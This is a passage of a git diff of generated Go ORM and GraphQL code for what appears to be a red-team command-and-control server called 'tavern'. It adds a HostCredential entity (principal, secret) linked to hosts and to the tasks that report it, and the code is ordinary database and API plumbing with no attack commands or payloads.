+// HasReportedCredentialsWith applies the HasEdge predicate on the "reported_credentials" edge with a given conditions (other predicates).
+func HasReportedCredentialsWith(preds ...predicate.HostCredential) predicate.Task {
+	return predicate.Task(func(s *sql.Selector) {
+		step := newReportedCredentialsStep()
+		sqlgraph.HasNeighborsWith(s, step, func(s *sql.Selector) {
+			for _, p := range preds {
+				p(s)
+			}
+		})
+	})
+}
+
 // And groups predicates with the AND operator between them.
 func And(predicates ...predicate.Task) predicate.Task {
 	return predicate.Task(sql.AndPredicates(predicates...))
diff --git a/tavern/internal/ent/task_create.go b/tavern/internal/ent/task_create.go
index f1a10c529..9ad459374 100644
--- a/tavern/internal/ent/task_create.go
+++ b/tavern/internal/ent/task_create.go
@@ -12,6 +12,7 @@ import (
 	"entgo.io/ent/dialect/sql/sqlgraph"
 	"entgo.io/ent/schema/field"
 	"realm.pub/tavern/internal/ent/beacon"
+	"realm.pub/tavern/internal/ent/hostcredential"
 	"realm.pub/tavern/internal/ent/hostfile"
 	"realm.pub/tavern/internal/ent/hostprocess"
 	"realm.pub/tavern/internal/ent/quest"
@@ -190,6 +191,21 @@ func (tc *TaskCreate) AddReportedProcesses(h ...*HostProcess) *TaskCreate {
 	return tc.AddReportedProcessIDs(ids...)
 }
 
+// AddReportedCredentialIDs adds the "reported_credentials" edge to the HostCredential entity by IDs.
+func (tc *TaskCreate) AddReportedCredentialIDs(ids ...int) *TaskCreate {
+	tc.mutation.AddReportedCredentialIDs(ids...)
+	return tc
+}
+
+// AddReportedCredentials adds the "reported_credentials" edges to the HostCredential entity.
+func (tc *TaskCreate) AddReportedCredentials(h ...*HostCredential) *TaskCreate {
+	ids := make([]int, len(h))
+	for i := range h {
+		ids[i] = h[i].ID
+	}
+	return tc.AddReportedCredentialIDs(ids...)
+}
+
 // Mutation returns the TaskMutation object of the builder.
 func (tc *TaskCreate) Mutation() *TaskMutation {
 	return tc.mutation
@@ -395,6 +411,22 @@ func (tc *TaskCreate) createSpec() (*Task, *sqlgraph.CreateSpec) {
 		}
 		_spec.Edges = append(_spec.Edges, edge)
 	}
+	if nodes := tc.mutation.ReportedCredentialsIDs(); len(nodes) > 0 {
+		edge := &sqlgraph.EdgeSpec{
+			Rel:     sqlgraph.O2M,
+			Inverse: false,
+			Table:   task.ReportedCredentialsTable,
+			Columns: []string{task.ReportedCredentialsColumn},
+			Bidi:    false,
+			Target: &sqlgraph.EdgeTarget{
+				IDSpec: sqlgraph.NewFieldSpec(hostcredential.FieldID, field.TypeInt),
+			},
+		}
+		for _, k := range nodes {
+			edge.Target.Nodes = append(edge.Target.Nodes, k)
+		}
+		_spec.Edges = append(_spec.Edges, edge)
+	}
 	return _node, _spec
 }
 
diff --git a/tavern/internal/ent/task_query.go b/tavern/internal/ent/task_query.go
index 09f028892..95a8c248d 100644
--- a/tavern/internal/ent/task_query.go
+++ b/tavern/internal/ent/task_query.go
@@ -12,6 +12,7 @@ import (
 	"entgo.io/ent/dialect/sql/sqlgraph"
 	"entgo.io/ent/schema/field"
 	"realm.pub/tavern/internal/ent/beacon"
+	"realm.pub/tavern/internal/ent/hostcredential"
 	"realm.pub/tavern/internal/ent/hostfile"
 	"realm.pub/tavern/internal/ent/hostprocess"
 	"realm.pub/tavern/internal/ent/predicate"
@@ -22,19 +23,21 @@ import (
 // TaskQuery is the builder for querying Task entities.
 type TaskQuery struct {
 	config
-	ctx                        *QueryContext
-	order                      []task.OrderOption
-	inters                     []Interceptor
-	predicates                 []predicate.Task
-	withQuest                  *QuestQuery
-	withBeacon                 *BeaconQuery
-	withReportedFiles          *HostFileQuery
-	withReportedProcesses      *HostProcessQuery
-	withFKs                    bool
-	modifiers                  []func(*sql.Selector)
-	loadTotal                  []func(context.Context, []*Task) error
-	withNamedReportedFiles     map[string]*HostFileQuery
-	withNamedReportedProcesses map[string]*HostProcessQuery
+	ctx                          *QueryContext
+	order                        []task.OrderOption
+	inters                       []Interceptor
+	predicates                   []predicate.Task
+	withQuest                    *QuestQuery
+	withBeacon                   *BeaconQuery
+	withReportedFiles            *HostFileQuery
+	withReportedProcesses        *HostProcessQuery
+	withReportedCredentials      *HostCredentialQuery
+	withFKs                      bool
+	modifiers                    []func(*sql.Selector)
+	loadTotal                    []func(context.Context, []*Task) error
+	withNamedReportedFiles       map[string]*HostFileQuery
+	withNamedReportedProcesses   map[string]*HostProcessQuery
+	withNamedReportedCredentials map[string]*HostCredentialQuery
 	// intermediate query (i.e. traversal path).
 	sql  *sql.Selector
 	path func(context.Context) (*sql.Selector, error)
@@ -159,6 +162,28 @@ func (tq *TaskQuery) QueryReportedProcesses() *HostProcessQuery {
 	return query
 }
 
+// QueryReportedCredentials chains the current query on the "reported_credentials" edge.
+func (tq *TaskQuery) QueryReportedCredentials() *HostCredentialQuery {
+	query := (&HostCredentialClient{config: tq.config}).Query()
+	query.path = func(ctx context.Context) (fromU *sql.Selector, err error) {
+		if err := tq.prepareQuery(ctx); err != nil {
+			return nil, err
+		}
+		selector := tq.sqlQuery(ctx)
+		if err := selector.Err(); err != nil {
+			return nil, err
+		}
+		step := sqlgraph.NewStep(
+			sqlgraph.From(task.Table, task.FieldID, selector),
+			sqlgraph.To(hostcredential.Table, hostcredential.FieldID),
+			sqlgraph.Edge(sqlgraph.O2M, false, task.ReportedCredentialsTable, task.ReportedCredentialsColumn),
+		)
+		fromU = sqlgraph.SetNeighbors(tq.driver.Dialect(), step)
+		return fromU, nil
+	}
+	return query
+}
+
 // First returns the first Task entity from the query.
 // Returns a *NotFoundError when no Task was found.
 func (tq *TaskQuery) First(ctx context.Context) (*Task, error) {
@@ -346,15 +371,16 @@ func (tq *TaskQuery) Clone() *TaskQuery {
 		return nil
 	}
 	return &TaskQuery{
-		config:                tq.config,
-		ctx:                   tq.ctx.Clone(),
-		order:                 append([]task.OrderOption{}, tq.order...),
-		inters:                append([]Interceptor{}, tq.inters...),
-		predicates:            append([]predicate.Task{}, tq.predicates...),
-		withQuest:             tq.withQuest.Clone(),
-		withBeacon:            tq.withBeacon.Clone(),
-		withReportedFiles:     tq.withReportedFiles.Clone(),
-		withReportedProcesses: tq.withReportedProcesses.Clone(),
+		config:                  tq.config,
+		ctx:                     tq.ctx.Clone(),
+		order:                   append([]task.OrderOption{}, tq.order...),
+		inters:                  append([]Interceptor{}, tq.inters...),
+		predicates:              append([]predicate.Task{}, tq.predicates...),
+		withQuest:               tq.withQuest.Clone(),
+		withBeacon:              tq.withBeacon.Clone(),
+		withReportedFiles:       tq.withReportedFiles.Clone(),
+		withReportedProcesses:   tq.withReportedProcesses.Clone(),
+		withReportedCredentials: tq.withReportedCredentials.Clone(),
 		// clone intermediate query.
 		sql:  tq.sql.Clone(),
 		path: tq.path,
@@ -405,6 +431,17 @@ func (tq *TaskQuery) WithReportedProcesses(opts ...func(*HostProcessQuery)) *Tas
 	return tq
 }
 
+// WithReportedCredentials tells the query-builder to eager-load the nodes that are connected to
+// the "reported_credentials" edge. The optional arguments are used to configure the query builder of the edge.
+func (tq *TaskQuery) WithReportedCredentials(opts ...func(*HostCredentialQuery)) *TaskQuery {
+	query := (&HostCredentialClient{config: tq.config}).Query()
+	for _, opt := range opts {
+		opt(query)
+	}
+	tq.withReportedCredentials = query
+	return tq
+}
+
 // GroupBy is used to group vertices by one or more fields/columns.
 // It is often used with aggregate functions, like: count, max, mean, min, sum.
 //
@@ -484,11 +521,12 @@ func (tq *TaskQuery) sqlAll(ctx context.Context, hooks ...queryHook) ([]*Task, e
 		nodes       = []*Task{}
 		withFKs     = tq.withFKs
 		_spec       = tq.querySpec()
-		loadedTypes = [4]bool{
+		loadedTypes = [5]bool{
 			tq.withQuest != nil,
 			tq.withBeacon != nil,
 			tq.withReportedFiles != nil,
 			tq.withReportedProcesses != nil,
+			tq.withReportedCredentials != nil,
 		}
 	)
 	if tq.withQuest != nil || tq.withBeacon != nil {
@@ -544,6 +582,13 @@ func (tq *TaskQuery) sqlAll(ctx context.Context, hooks ...queryHook) ([]*Task, e
 			return nil, err
 		}
 	}
+	if query := tq.withReportedCredentials; query != nil {
+		if err := tq.loadReportedCredentials(ctx, query, nodes,
+			func(n *Task) { n.Edges.ReportedCredentials = []*HostCredential{} },
+			func(n *Task, e *HostCredential) { n.Edges.ReportedCredentials = append(n.Edges.ReportedCredentials, e) }); err != nil {
+			return nil, err
+		}
+	}
 	for name, query := range tq.withNamedReportedFiles {
 		if err := tq.loadReportedFiles(ctx, query, nodes,
 			func(n *Task) { n.appendNamedReportedFiles(name) },
@@ -558,6 +603,13 @@ func (tq *TaskQuery) sqlAll(ctx context.Context, hooks ...queryHook) ([]*Task, e
 			return nil, err
 		}
 	}
+	for name, query := range tq.withNamedReportedCredentials {
+		if err := tq.loadReportedCredentials(ctx, query, nodes,
+			func(n *Task) { n.appendNamedReportedCredentials(name) },
+			func(n *Task, e *HostCredential) { n.appendNamedReportedCredentials(name, e) }); err != nil {
+			return nil, err
+		}
+	}
 	for i := range tq.loadTotal {
 		if err := tq.loadTotal[i](ctx, nodes); err != nil {
 			return nil, err
@@ -692,6 +744,37 @@ func (tq *TaskQuery) loadReportedProcesses(ctx context.Context, query *HostProce
 	}
 	return nil
 }
+func (tq *TaskQuery) loadReportedCredentials(ctx context.Context, query *HostCredentialQuery, nodes []*Task, init func(*Task), assign func(*Task, *HostCredential)) error {
+	fks := make([]driver.Value, 0, len(nodes))
+	nodeids := make(map[int]*Task)
+	for i := range nodes {
+		fks = append(fks, nodes[i].ID)
+		nodeids[nodes[i].ID] = nodes[i]
+		if init != nil {
+			init(nodes[i])
+		}
+	}
+	query.withFKs = true
+	query.Where(predicate.HostCredential(func(s *sql.Selector) {
+		s.Where(sql.InValues(s.C(task.ReportedCredentialsColumn), fks...))
+	}))
+	neighbors, err := query.All(ctx)
+	if err != nil {
+		return err
+	}
+	for _, n := range neighbors {
+		fk := n.task_reported_credentials
+		if fk == nil {
+			return fmt.Errorf(`foreign-key "task_reported_credentials" is nil for node %v`, n.ID)
+		}
+		node, ok := nodeids[*fk]
+		if !ok {
+			return fmt.Errorf(`unexpected referenced foreign-key "task_reported_credentials" returned %v for node %v`, *fk, n.ID)
+		}
+		assign(node, n)
+	}
+	return nil
+}
 
 func (tq *TaskQuery) sqlCount(ctx context.Context) (int, error) {
 	_spec := tq.querySpec()
@@ -805,6 +888,20 @@ func (tq *TaskQuery) WithNamedReportedProcesses(name string, opts ...func(*HostP
 	return tq
 }
 
+// WithNamedReportedCredentials tells the query-builder to eager-load the nodes that are connected to the "reported_credentials"
+// edge with the given name. The optional arguments are used to configure the query builder of the edge.
+func (tq *TaskQuery) WithNamedReportedCredentials(name string, opts ...func(*HostCredentialQuery)) *TaskQuery {
+	query := (&HostCredentialClient{config: tq.config}).Query()
+	for _, opt := range opts {
+		opt(query)
+	}
+	if tq.withNamedReportedCredentials == nil {
+		tq.withNamedReportedCredentials = make(map[string]*HostCredentialQuery)
+	}
+	tq.withNamedReportedCredentials[name] = query
+	return tq
+}
+
 // TaskGroupBy is the group-by builder for Task entities.
 type TaskGroupBy struct {
 	selector
diff --git a/tavern/internal/ent/task_update.go b/tavern/internal/ent/task_update.go
index 53f1328b9..8ff7b9885 100644
--- a/tavern/internal/ent/task_update.go
+++ b/tavern/internal/ent/task_update.go
@@ -12,6 +12,7 @@ import (
 	"entgo.io/ent/dialect/sql/sqlgraph"
 	"entgo.io/ent/schema/field"
 	"realm.pub/tavern/internal/ent/beacon"
+	"realm.pub/tavern/internal/ent/hostcredential"
 	"realm.pub/tavern/internal/ent/hostfile"
 	"realm.pub/tavern/internal/ent/hostprocess"
 	"realm.pub/tavern/internal/ent/predicate"
@@ -211,6 +212,21 @@ func (tu *TaskUpdate) AddReportedProcesses(h ...*HostProcess) *TaskUpdate {
 	return tu.AddReportedProcessIDs(ids...)
 }
 
+// AddReportedCredentialIDs adds the "reported_credentials" edge to the HostCredential entity by IDs.
+func (tu *TaskUpdate) AddReportedCredentialIDs(ids ...int) *TaskUpdate {
+	tu.mutation.AddReportedCredentialIDs(ids...)
+	return tu
+}
+
+// AddReportedCredentials adds the "reported_credentials" edges to the HostCredential entity.
+func (tu *TaskUpdate) AddReportedCredentials(h ...*HostCredential) *TaskUpdate {
+	ids := make([]int, len(h))
+	for i := range h {
+		ids[i] = h[i].ID
+	}
+	return tu.AddReportedCredentialIDs(ids...)
+}
+
 // Mutation returns the TaskMutation object of the builder.
 func (tu *TaskUpdate) Mutation() *TaskMutation {
 	return tu.mutation
@@ -270,6 +286,27 @@ func (tu *TaskUpdate) RemoveReportedProcesses(h ...*HostProcess) *TaskUpdate {
 	return tu.RemoveReportedProcessIDs(ids...)
 }
 
+// ClearReportedCredentials clears all "reported_credentials" edges to the HostCredential entity.
+func (tu *TaskUpdate) ClearReportedCredentials() *TaskUpdate {
+	tu.mutation.ClearReportedCredentials()
+	return tu
+}
+
+// RemoveReportedCredentialIDs removes the "reported_credentials" edge to HostCredential entities by IDs.
+func (tu *TaskUpdate) RemoveReportedCredentialIDs(ids ...int) *TaskUpdate {
+	tu.mutation.RemoveReportedCredentialIDs(ids...)
+	return tu
+}
+
+// RemoveReportedCredentials removes "reported_credentials" edges to HostCredential entities.
+func (tu *TaskUpdate) RemoveReportedCredentials(h ...*HostCredential) *TaskUpdate {
+	ids := make([]int, len(h))
+	for i := range h {
+		ids[i] = h[i].ID
+	}
+	return tu.RemoveReportedCredentialIDs(ids...)
+}
+
 // Save executes the query and returns the number of nodes affected by the update operation.
 func (tu *TaskUpdate) Save(ctx context.Context) (int, error) {
 	if err := tu.defaults(); err != nil {
@@ -527,6 +564,51 @@ func (tu *TaskUpdate) sqlSave(ctx context.Context) (n int, err error) {
 		}
 		_spec.Edges.Add = append(_spec.Edges.Add, edge)
 	}
+	if tu.mutation.ReportedCredentialsCleared() {
+		edge := &sqlgraph.EdgeSpec{
+			Rel:     sqlgraph.O2M,
+			Inverse: false,
+			Table:   task.ReportedCredentialsTable,
+			Columns: []string{task.ReportedCredentialsColumn},
+			Bidi:    false,
+			Target: &sqlgraph.EdgeTarget{
+				IDSpec: sqlgraph.NewFieldSpec(hostcredential.FieldID, field.TypeInt),
+			},
+		}
+		_spec.Edges.Clear = append(_spec.Edges.Clear, edge)
+	}
+	if nodes := tu.mutation.RemovedReportedCredentialsIDs(); len(nodes) > 0 && !tu.mutation.ReportedCredentialsCleared() {
+		edge := &sqlgraph.EdgeSpec{
+			Rel:     sqlgraph.O2M,
+			Inverse: false,
+			Table:   task.ReportedCredentialsTable,
+			Columns: []string{task.ReportedCredentialsColumn},
+			Bidi:    false,
+			Target: &sqlgraph.EdgeTarget{
+				IDSpec: sqlgraph.NewFieldSpec(hostcredential.FieldID, field.TypeInt),
+			},
+		}
+		for _, k := range nodes {
+			edge.Target.Nodes = append(edge.Target.Nodes, k)
+		}
+		_spec.Edges.Clear = append(_spec.Edges.Clear, edge)
+	}
+	if nodes := tu.mutation.ReportedCredentialsIDs(); len(nodes) > 0 {
+		edge := &sqlgraph.EdgeSpec{
+			Rel:     sqlgraph.O2M,
+			Inverse: false,
+			Table:   task.ReportedCredentialsTable,
+			Columns: []string{task.ReportedCredentialsColumn},
+			Bidi:    false,
+			Target: &sqlgraph.EdgeTarget{
+				IDSpec: sqlgraph.NewFieldSpec(hostcredential.FieldID, field.TypeInt),
+			},
+		}
+		for _, k := range nodes {
+			edge.Target.Nodes = append(edge.Target.Nodes, k)
+		}
+		_spec.Edges.Add = append(_spec.Edges.Add, edge)
+	}
 	if n, err = sqlgraph.UpdateNodes(ctx, tu.driver, _spec); err != nil {
 		if _, ok := err.(*sqlgraph.NotFoundError); ok {
 			err = &NotFoundError{task.Label}
@@ -726,6 +808,21 @@ func (tuo *TaskUpdateOne) AddReportedProcesses(h ...*HostProcess) *TaskUpdateOne
 	return tuo.AddReportedProcessIDs(ids...)
 }
 
+// AddReportedCredentialIDs adds the "reported_credentials" edge to the HostCredential entity by IDs.
+func (tuo *TaskUpdateOne) AddReportedCredentialIDs(ids ...int) *TaskUpdateOne {
+	tuo.mutation.AddReportedCredentialIDs(ids...)
+	return tuo
+}
+
+// AddReportedCredentials adds the "reported_credentials" edges to the HostCredential entity.
+func (tuo *TaskUpdateOne) AddReportedCredentials(h ...*HostCredential) *TaskUpdateOne {
+	ids := make([]int, len(h))
+	for i := range h {
+		ids[i] = h[i].ID
+	}
+	return tuo.AddReportedCredentialIDs(ids...)
+}
+
 // Mutation returns the TaskMutation object of the builder.
 func (tuo *TaskUpdateOne) Mutation() *TaskMutation {
 	return tuo.mutation
@@ -785,6 +882,27 @@ func (tuo *TaskUpdateOne) RemoveReportedProcesses(h ...*HostProcess) *TaskUpdate
 	return tuo.RemoveReportedProcessIDs(ids...)
 }
 
+// ClearReportedCredentials clears all "reported_credentials" edges to the HostCredential entity.
+func (tuo *TaskUpdateOne) ClearReportedCredentials() *TaskUpdateOne {
+	tuo.mutation.ClearReportedCredentials()
+	return tuo
+}
+
+// RemoveReportedCredentialIDs removes the "reported_credentials" edge to HostCredential entities by IDs.
+func (tuo *TaskUpdateOne) RemoveReportedCredentialIDs(ids ...int) *TaskUpdateOne {
+	tuo.mutation.RemoveReportedCredentialIDs(ids...)
+	return tuo
+}
+
+// RemoveReportedCredentials removes "reported_credentials" edges to HostCredential entities.
+func (tuo *TaskUpdateOne) RemoveReportedCredentials(h ...*HostCredential) *TaskUpdateOne {
+	ids := make([]int, len(h))
+	for i := range h {
+		ids[i] = h[i].ID
+	}
+	return tuo.RemoveReportedCredentialIDs(ids...)
+}
+
 // Where appends a list predicates to the TaskUpdate builder.
 func (tuo *TaskUpdateOne) Where(ps ...predicate.Task) *TaskUpdateOne {
 	tuo.mutation.Where(ps...)
@@ -1072,6 +1190,51 @@ func (tuo *TaskUpdateOne) sqlSave(ctx context.Context) (_node *Task, err error)
 		}
 		_spec.Edges.Add = append(_spec.Edges.Add, edge)
 	}
+	if tuo.mutation.ReportedCredentialsCleared() {
+		edge := &sqlgraph.EdgeSpec{
+			Rel:     sqlgraph.O2M,
+			Inverse: false,
+			Table:   task.ReportedCredentialsTable,
+			Columns: []string{task.ReportedCredentialsColumn},
+			Bidi:    false,
+			Target: &sqlgraph.EdgeTarget{
+				IDSpec: sqlgraph.NewFieldSpec(hostcredential.FieldID, field.TypeInt),
+			},
+		}
+		_spec.Edges.Clear = append(_spec.Edges.Clear, edge)
+	}
+	if nodes := tuo.mutation.RemovedReportedCredentialsIDs(); len(nodes) > 0 && !tuo.mutation.ReportedCredentialsCleared() {
+		edge := &sqlgraph.EdgeSpec{
+			Rel:     sqlgraph.O2M,
+			Inverse: false,
+			Table:   task.ReportedCredentialsTable,
+			Columns: []string{task.ReportedCredentialsColumn},
+			Bidi:    false,
+			Target: &sqlgraph.EdgeTarget{
+				IDSpec: sqlgraph.NewFieldSpec(hostcredential.FieldID, field.TypeInt),
+			},
+		}
+		for _, k := range nodes {
+			edge.Target.Nodes = append(edge.Target.Nodes, k)
+		}
+		_spec.Edges.Clear = append(_spec.Edges.Clear, edge)
+	}
+	if nodes := tuo.mutation.ReportedCredentialsIDs(); len(nodes) > 0 {
+		edge := &sqlgraph.EdgeSpec{
+			Rel:     sqlgraph.O2M,
+			Inverse: false,
+			Table:   task.ReportedCredentialsTable,
+			Columns: []string{task.ReportedCredentialsColumn},
+			Bidi:    false,
+			Target: &sqlgraph.EdgeTarget{
+				IDSpec: sqlgraph.NewFieldSpec(hostcredential.FieldID, field.TypeInt),
+			},
+		}
+		for _, k := range nodes {
+			edge.Target.Nodes = append(edge.Target.Nodes, k)
+		}
+		_spec.Edges.Add = append(_spec.Edges.Add, edge)
+	}
 	_node = &Task{config: tuo.config}
 	_spec.Assign = _node.assignValues
 	_spec.ScanValues = _node.scanValues
diff --git a/tavern/internal/ent/tx.go b/tavern/internal/ent/tx.go
index 248315426..cfb11d6a3 100644
--- a/tavern/internal/ent/tx.go
+++ b/tavern/internal/ent/tx.go
@@ -18,6 +18,8 @@ type Tx struct {
 	File *FileClient
 	// Host is the client for interacting with the Host builders.
 	Host *HostClient
+	// HostCredential is the client for interacting with the HostCredential builders.
+	HostCredential *HostCredentialClient
 	// HostFile is the client for interacting with the HostFile builders.
 	HostFile *HostFileClient
 	// HostProcess is the client for interacting with the HostProcess builders.
@@ -166,6 +168,7 @@ func (tx *Tx) init() {
 	tx.Beacon = NewBeaconClient(tx.config)
 	tx.File = NewFileClient(tx.config)
 	tx.Host = NewHostClient(tx.config)
+	tx.HostCredential = NewHostCredentialClient(tx.config)
 	tx.HostFile = NewHostFileClient(tx.config)
 	tx.HostProcess = NewHostProcessClient(tx.config)
 	tx.Quest = NewQuestClient(tx.config)
diff --git a/tavern/internal/graphql/generated/ent.generated.go b/tavern/internal/graphql/generated/ent.generated.go
index d2158e9f0..5a19f3b20 100644
--- a/tavern/internal/graphql/generated/ent.generated.go
+++ b/tavern/internal/graphql/generated/ent.generated.go
@@ -707,6 +707,8 @@ func (ec *executionContext) fieldContext_Beacon_host(ctx context.Context, field
 				return ec.fieldContext_Host_files(ctx, field)
 			case "processes":
 				return ec.fieldContext_Host_processes(ctx, field)
+			case "credentials":
+				return ec.fieldContext_Host_credentials(ctx, field)
 			}
 			return nil, fmt.Errorf("no field named %q was found under type Host", field.Name)
 		},
@@ -776,6 +778,8 @@ func (ec *executionContext) fieldContext_Beacon_tasks(ctx context.Context, field
 				return ec.fieldContext_Task_reportedFiles(ctx, field)
 			case "reportedProcesses":
 				return ec.fieldContext_Task_reportedProcesses(ctx, field)
+			case "reportedCredentials":
+				return ec.fieldContext_Task_reportedCredentials(ctx, field)
 			}
 			return nil, fmt.Errorf("no field named %q was found under type Task", field.Name)
 		},
@@ -1709,8 +1713,8 @@ func (ec *executionContext) fieldContext_Host_processes(ctx context.Context, fie
 	return fc, nil
 }
 
-func (ec *executionContext) _HostFile_id(ctx context.Context, field graphql.CollectedField, obj *ent.HostFile) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_HostFile_id(ctx, field)
+func (ec *executionContext) _Host_credentials(ctx context.Context, field graphql.CollectedField, obj *ent.Host) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Host_credentials(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -1723,38 +1727,51 @@ func (ec *executionContext) _HostFile_id(ctx context.Context, field graphql.Coll
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.ID, nil
+		return obj.Credentials(ctx)
 	})
 	if err != nil {
 		ec.Error(ctx, err)
 		return graphql.Null
 	}
 	if resTmp == nil {
-		if !graphql.HasFieldError(ctx, fc) {
-			ec.Errorf(ctx, "must not be null")
-		}
 		return graphql.Null
 	}
-	res := resTmp.(int)
+	res := resTmp.([]*ent.HostCredential)
 	fc.Result = res
-	return ec.marshalNID2int(ctx, field.Selections, res)
+	return ec.marshalOHostCredential2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐHostCredentialᚄ(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_HostFile_id(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Host_credentials(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "HostFile",
+		Object:     "Host",
 		Field:      field,
-		IsMethod:   false,
+		IsMethod:   true,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type ID does not have child fields")
+			switch field.Name {
+			case "id":
+				return ec.fieldContext_HostCredential_id(ctx, field)
+			case "createdAt":
+				return ec.fieldContext_HostCredential_createdAt(ctx, field)
+			case "lastModifiedAt":
+				return ec.fieldContext_HostCredential_lastModifiedAt(ctx, field)
+			case "principal":
+				return ec.fieldContext_HostCredential_principal(ctx, field)
+			case "secret":
+				return ec.fieldContext_HostCredential_secret(ctx, field)
+			case "host":
+				return ec.fieldContext_HostCredential_host(ctx, field)
+			case "task":
+				return ec.fieldContext_HostCredential_task(ctx, field)
+			}
+			return nil, fmt.Errorf("no field named %q was found under type HostCredential", field.Name)
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _HostFile_createdAt(ctx context.Context, field graphql.CollectedField, obj *ent.HostFile) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_HostFile_createdAt(ctx, field)
+func (ec *executionContext) _HostCredential_id(ctx context.Context, field graphql.CollectedField, obj *ent.HostCredential) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_HostCredential_id(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -1767,7 +1784,7 @@ func (ec *executionContext) _HostFile_createdAt(ctx context.Context, field graph
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.CreatedAt, nil
+		return obj.ID, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -1779,26 +1796,26 @@ func (ec *executionContext) _HostFile_createdAt(ctx context.Context, field graph
 		}
 		return graphql.Null
 	}
-	res := resTmp.(time.Time)
+	res := resTmp.(int)
 	fc.Result = res
-	return ec.marshalNTime2timeᚐTime(ctx, field.Selections, res)
+	return ec.marshalNID2int(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_HostFile_createdAt(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_HostCredential_id(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "HostFile",
+		Object:     "HostCredential",
 		Field:      field,
 		IsMethod:   false,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type Time does not have child fields")
+			return nil, errors.New("field of type ID does not have child fields")
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _HostFile_lastModifiedAt(ctx context.Context, field graphql.CollectedField, obj *ent.HostFile) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_HostFile_lastModifiedAt(ctx, field)
+func (ec *executionContext) _HostCredential_createdAt(ctx context.Context, field graphql.CollectedField, obj *ent.HostCredential) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_HostCredential_createdAt(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -1811,7 +1828,7 @@ func (ec *executionContext) _HostFile_lastModifiedAt(ctx context.Context, field
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.LastModifiedAt, nil
+		return obj.CreatedAt, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -1828,9 +1845,9 @@ func (ec *executionContext) _HostFile_lastModifiedAt(ctx context.Context, field
 	return ec.marshalNTime2timeᚐTime(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_HostFile_lastModifiedAt(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_HostCredential_createdAt(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "HostFile",
+		Object:     "HostCredential",
 		Field:      field,
 		IsMethod:   false,
 		IsResolver: false,
@@ -1841,8 +1858,8 @@ func (ec *executionContext) fieldContext_HostFile_lastModifiedAt(ctx context.Con
 	return fc, nil
 }
 
-func (ec *executionContext) _HostFile_path(ctx context.Context, field graphql.CollectedField, obj *ent.HostFile) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_HostFile_path(ctx, field)
+func (ec *executionContext) _HostCredential_lastModifiedAt(ctx context.Context, field graphql.CollectedField, obj *ent.HostCredential) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_HostCredential_lastModifiedAt(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -1855,7 +1872,7 @@ func (ec *executionContext) _HostFile_path(ctx context.Context, field graphql.Co
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.Path, nil
+		return obj.LastModifiedAt, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -1867,67 +1884,26 @@ func (ec *executionContext) _HostFile_path(ctx context.Context, field graphql.Co
 		}
 		return graphql.Null
 	}
-	res := resTmp.(string)
-	fc.Result = res
-	return ec.marshalNString2string(ctx, field.Selections, res)
-}
-
-func (ec *executionContext) fieldContext_HostFile_path(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
-	fc = &graphql.FieldContext{
-		Object:     "HostFile",
-		Field:      field,
-		IsMethod:   false,
-		IsResolver: false,
-		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type String does not have child fields")
-		},
-	}
-	return fc, nil
-}
-
-func (ec *executionContext) _HostFile_owner(ctx context.Context, field graphql.CollectedField, obj *ent.HostFile) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_HostFile_owner(ctx, field)
-	if err != nil {
-		return graphql.Null
-	}
-	ctx = graphql.WithFieldContext(ctx, fc)
-	defer func() {
-		if r := recover(); r != nil {
-			ec.Error(ctx, ec.Recover(ctx, r))
-			ret = graphql.Null
-		}
-	}()
-	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
-		ctx = rctx // use context from middleware stack in children
-		return obj.Owner, nil
-	})
-	if err != nil {
-		ec.Error(ctx, err)
